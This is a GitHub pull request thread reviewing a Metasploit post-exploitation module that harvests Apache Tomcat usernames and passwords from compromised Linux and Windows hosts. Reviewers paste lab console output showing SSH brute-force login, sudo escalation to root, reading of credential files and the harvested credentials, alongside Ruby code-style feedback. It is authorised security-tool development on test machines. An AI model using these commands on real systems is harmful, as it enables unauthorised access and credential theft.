Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added tomcat_gather modules to Metasploit. #8010

Merged
merged 4 commits into from Mar 31, 2017

Conversation

Opperkip
Copy link

@Opperkip Opperkip commented Feb 24, 2017

tomcat_gather can be used to extract username and password combinations from linux and windows systems running tomcat.

Verification

List the steps needed to make sure this thing works

  • Have an existing meterpreter session
  • use post/multi/gather/tomcat_gather
  • set session X
  • run
Unix OS detected
tomcat-users.xml found
Username & password found: tomcat:tomcat
Username & password found: both:tomcat
Username & password found: role1:tomcat
Username & password found: tomcat1:tomcat1
Username & password found: tomcat2:s3cret
Post module execution completed

@dmohanty-r7
Copy link
Contributor

I have tomcat installed following this guide: https://www.digitalocean.com/community/tutorials/how-to-install-apache-tomcat-8-on-ubuntu-16-04

I attained a session via python meterpreter

The module does not find the tomcat-users.xml:

msf exploit(handler) > use post/multi/gather/tomcat_gather
msf post(tomcat_gather) > show options

Module options (post/multi/gather/tomcat_gather):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run

[*] Unix OS detected
[*] Post module execution completed

@h00die
Copy link
Contributor

h00die commented Feb 24, 2017

I have windows and linux boxes with tomcat 6,7,8 all installed on them that i used for writing a bunch of the tomcat docs. I'll give it a run in the next day or two and report back

@h00die
Copy link
Contributor

h00die commented Feb 24, 2017

no go for me as well, however I got a different error.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username tomcat
username => tomcat
msf auxiliary(ssh_login) > set password tomcat
password => tomcat
msf auxiliary(ssh_login) > set rhosts 192.168.2.118
rhosts => 192.168.2.118
msf auxiliary(ssh_login) > run

[*] SSH - Starting bruteforce
[+] SSH - Success: 'tomcat:tomcat' 'uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux tomcat 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42879 -> 192.168.2.118:22) at 2017-02-24 17:47:39 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/multi/gather/tomcat_gather 
msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run

[-] Post failed: NoMethodError undefined method `[]' for nil:NilClass
[-] Call stack:
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:147:in `run'
[*] Post module execution completed
msf post(tomcat_gather) > show options

Module options (post/multi/gather/tomcat_gather):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf post(tomcat_gather) > sessions -i 1
[*] Starting interaction with 1...

cat /etc/tomcat*/tomcat-users.xml
cat: /etc/tomcat7/tomcat-users.xml: Permission denied
cat: /etc/tomcat8/tomcat-users.xml: Permission denied

^Z
Background session 1? [y/N]  y
msf post(tomcat_gather) > use post/multi/manage/sudo 
msf post(sudo) > set session 1
session => 1
msf post(sudo) > set password tomcat
password => tomcat
msf post(sudo) > run

[*] SUDO: Attempting to upgrade to UID 0 via sudo
[*] Sudoing with password `tomcat'.
[+] SUDO: Root shell secured.
[*] Post module execution completed
msf post(sudo) > use post/multi/gather/tomcat_gather 
msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run

[-] Post failed: NoMethodError undefined method `[]' for nil:NilClass
[-] Call stack:
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:147:in `run'
[*] Post module execution completed
msf post(tomcat_gather) > sessions -i 1
[*] Starting interaction with 1...

cat: /etc/tomcat7/tomcat-users.xml: Permission denied
cat: /etc/tomcat8/tomcat-users.xml: Permission denied
730014898
SasdBeutrBzaqoDwyuvuolzfpItpRvZt
/usr/bin/sudo
ZcJDgPGegrDGjXoHgLuDHDwqaWPrWPNG
1000
mYpQtlboxRUktWfySCCdqdjHatYckdOt
RidctnhNYLeolGOzZprnZQWgprVXMDzt
cDZxBMTWWXpVGTtHlrWjfExxClIKMnHy
zGUqYNHExIPmddvUsCldEiKsjVSZglKB
lZYjmPyChMIShAWJskYisfLkuJjcEoXw
/bin/sh: 15: setenv: not found
krQNFPOkscQGIeToQtnyypDJZygSEuDu
0
MGYHnMiOWdcIeiusbriHWrRvnzYhCnVS
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
uname -a
Linux tomcat 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

I tried using user and root permissions.

@h00die
Copy link
Contributor

h00die commented Feb 27, 2017

so the interesting thing is it says meterpreter for session type, yet it attempted to run on a standard shell. Is there a deeper underlying issue in the framework?

@h00die
Copy link
Contributor

h00die commented Feb 27, 2017

i'll retry this on a meterpreter (maybe even mettle) on my linux box in the next few days

end
end

port_path = cmd_exec('locate server.xml').split("\n")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

split assumes cmd_exec got an answer back.

Active sessions
===============

  Id  Type                   Information                                                              Connection
  --  ----                   -----------                                                              ----------
  1   shell /linux           SSH tomcat:tomcat (192.168.2.118:22)                                     192.168.2.117:46871 -> 192.168.2.118:22 (192.168.2.118)
  2   meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 @ tomcat  192.168.2.117:4433 -> 192.168.2.118:59204 (192.168.2.118)

msf auxiliary(ssh_login) > 
msf auxiliary(ssh_login) > 
msf auxiliary(ssh_login) > use post/multi/gather/tomcat_gather 
msf post(tomcat_gather) > set session 2
session => 2
msf post(tomcat_gather) > run

[*] Unix OS detected
[-] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 13
[-] Post failed: NoMethodError undefined method `split' for nil:NilClass
[-] Call stack:
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:131:in `block in gathernix'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:129:in `each'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:129:in `gathernix'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:150:in `run'
[*] Post module execution completed

port_path = cmd_exec('locate server.xml').split("\n")
port_path.each do |path|
if exist?(path)
xml = read_file(path).split("\n")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This may be the other source of the issue. What does read_file return if permission denied? In my case, the user didn't have access to open the file, got permission denied, was that tested for?

end

def run()
if sysinfo['OS'].include? "Windows"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

still need a default case here, just in case. maybe try both win and nix? or error out and demand mettle/meterpreter assuming its a standard shell

@h00die
Copy link
Contributor

h00die commented Mar 1, 2017

My winXP box has 5.5, 6, 7, 8 all installed on it. While the module worked, it can get a little confusing which file is being accessed. Id recommend printing the full path instead of just the file name.

msf post(tomcat_gather) > exploit

[*] Windows OS detected, enumerating services
[+] Tomcat service found
[*] tomcat-users.xml found
[+] Tomcat service found
[*] tomcat-users.xml found
[+] Tomcat service found
[*] tomcat-users.xml found
[+] Tomcat service found
[*] tomcat-users.xml found
[+] Username and password found: tomcat:tomcat
[!] No active DB -- Credential data will not be saved!
[+] Username and password found: both:tomcat
[+] Username and password found: admin:
[+] Username and password found: admin:
[+] Username and password found: tomcat:tomcat
[*] Post module execution completed

@h00die
Copy link
Contributor

h00die commented Mar 7, 2017

@Opperkip just wanted to check in on how updates were coming along for this module

@Opperkip
Copy link
Author

Opperkip commented Mar 8, 2017

@h00die I've been implementing fixes for the Windows bit but I haven't gotten around to improving the linux part yet.

@h00die
Copy link
Contributor

h00die commented Mar 17, 2017

Lemme know when its all done and i'll run it through my 2 VMs again

@Opperkip
Copy link
Author

@h00die You can try running them again


if exist?(conf_path)
print_status("tomcat-users.xml found")
print_status(conf_path + "found!")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would change this to print_status("#{conf_path} found!") that way you use templating and adds a space between the file and the word found.

@@ -85,61 +93,84 @@ def gatherwin()
end
end

port_path = tomcat_home.split('"')[1] + "\\conf\\server.xml"
port_path = tomcat_home + "\\conf\\server.xml"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

port_path = "#{tomcat_home}\\conf\\server.xml"

elsif line.include? ("<!--")
comment_block = true
elsif line.include? ("-->") and comment_block
comment_block = false
end
end
end
else
print_status("No Tomcat home can be determined")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

replace " with '

begin
xml = read_file(path).split("\n")
rescue
print_status("Cannot open " + path + " you probably don't have permission to open the file.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

print_status("Cannot open #{path} you probably don't have permission to open the file.")

if user_files.size > 0
user_files.each do |path|
if exist?(path)
print_status(path + " found")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

print_status("#{path} found")

if $username.size == 0
print_status("No user credentials have been found")
end

i=0
while i < $username.count
print_good("Username and password found: " + $username[i] + ":" + $password[i])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Either this line should include the file path, or a header should be printed when you loop through the files so that we know which file the un/pass came from

@h00die
Copy link
Contributor

h00die commented Mar 20, 2017

In general, look through all of your strings.

don't concatenate strings with a +, use interpolation instead.

in ruby, anything in single quote is a string that doesn't have interpolation. So 'this is ok' 'this is not\n due to the newline unless you really want \n and not a newline', 'this wont replace #{me} with the variable contents'.
"this is bad since it should be single quotes"
this + "is bad since you should do #{this_instead}"

@h00die
Copy link
Contributor

h00die commented Mar 20, 2017

So the printing of the found files is better in windows, however I want to know which file has the un/pass, so we'd either want:

[*] Credentials in c:\foo\tomcat.xml
[+] Username and password found: tomcat:tomcat

or

[+] Username and password found in c:\foo\tomcat.xml: tomcat:tomcat

@h00die
Copy link
Contributor

h00die commented Mar 20, 2017

Linux

Still not working if you don't have read permissions on the file.

msf post(tomcat_gather) > exploit

[*] Unix OS detected
[*] /etc/tomcat7/tomcat-users.xml found
[*] /etc/tomcat8/tomcat-users.xml found
[-] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file.
[-] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
[-] Post failed: NoMethodError undefined method `split' for nil:NilClass
[-] Call stack:
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:155:in `block in gathernix'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:153:in `each'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:153:in `gathernix'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:181:in `run'
[*] Post module execution completed

@h00die
Copy link
Contributor

h00die commented Mar 20, 2017

msf post(tomcat_gather) > run

[*] Windows OS detected, enumerating services
[+] Tomcat service found
[+] Tomcat service found
[+] Tomcat service found
[+] Tomcat service found
[*] C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xmlfound!
[*] C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf\tomcat-users.xmlfound!
[*] C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\tomcat-users.xmlfound!
[*] C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\tomcat-users.xmlfound!
[+] Username and password found: tomcat:tomcat
[+] Username and password found: tomcat:tomcat
[+] Username and password found: both:tomcat
[+] Username and password found: admin:
[+] Username and password found: admin:
[+] Username and password found: tomcat:tomcat
[*] Post module execution completed

@h00die h00die self-assigned this Mar 25, 2017
@h00die
Copy link
Contributor

h00die commented Mar 30, 2017

@Opperkip its been almost 2 weeks, just wanna check in on the updates

@Opperkip
Copy link
Author

@h00die Did not have time to rewrite stuff yet. Hopefully I'll get to it tomorrow.

@Opperkip
Copy link
Author

@h00die Fixes are implemented. Linux shouldn't fail now.

@h00die h00die added docs and removed needs-docs labels Mar 31, 2017
@h00die
Copy link
Contributor

h00die commented Mar 31, 2017

Linux w/ meterp works well.

msf post(tomcat_gather) > run

[*] Unix OS detected
[*] /etc/tomcat7/tomcat-users.xml found
[*] /etc/tomcat8/tomcat-users.xml found
[-] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[*] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[-] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
[*] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed.
[+] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat:tomcat
[*] Post module execution completed

@h00die
Copy link
Contributor

h00die commented Mar 31, 2017

windows as well.

[*] Windows OS detected, enumerating services
[+] Tomcat service found
[+] Tomcat service found
[+] Tomcat service found
[+] Tomcat service found
[*] C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml found!
[*] C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf\tomcat-users.xml found!
[*] C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\tomcat-users.xml found!
[*] C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\tomcat-users.xml found!
[+] Username and password found in C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml - tomcat:tomcat
[+] Username and password found in C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml - both:tomcat
[+] Username and password found in C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml - admin:
[+] Username and password found in C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf\tomcat-users.xml - admin:
[+] Username and password found in C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\tomcat-users.xml - tomcat:tomcat
[*] Post module execution completed

h00die added a commit that referenced this pull request Mar 31, 2017
@h00die h00die merged commit df2a9a4 into rapid7:master Mar 31, 2017
@h00die
Copy link
Contributor

h00die commented Mar 31, 2017

Release Notes

Adds a post module for gathering Apache Tomcat credentials.

@busterb
Copy link
Member

busterb commented Mar 31, 2017

[metasploit-framework] New branch "upstream-master" was pushed by h00die

intentional?

@h00die
Copy link
Contributor

h00die commented Mar 31, 2017

@Opperkip thanks for sticking with this one, you made a lot of changes.
I made one slight edit to resolve an error i was getting: 34a152d#diff-2d1b28395ed4a94b3435f3df18ea7e31
Didn't want to punt it back to you, to go through this all again. Good job, thanks for the module!

@h00die
Copy link
Contributor

h00die commented Mar 31, 2017

@busterb nope, case of the ...fridays?... friday

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants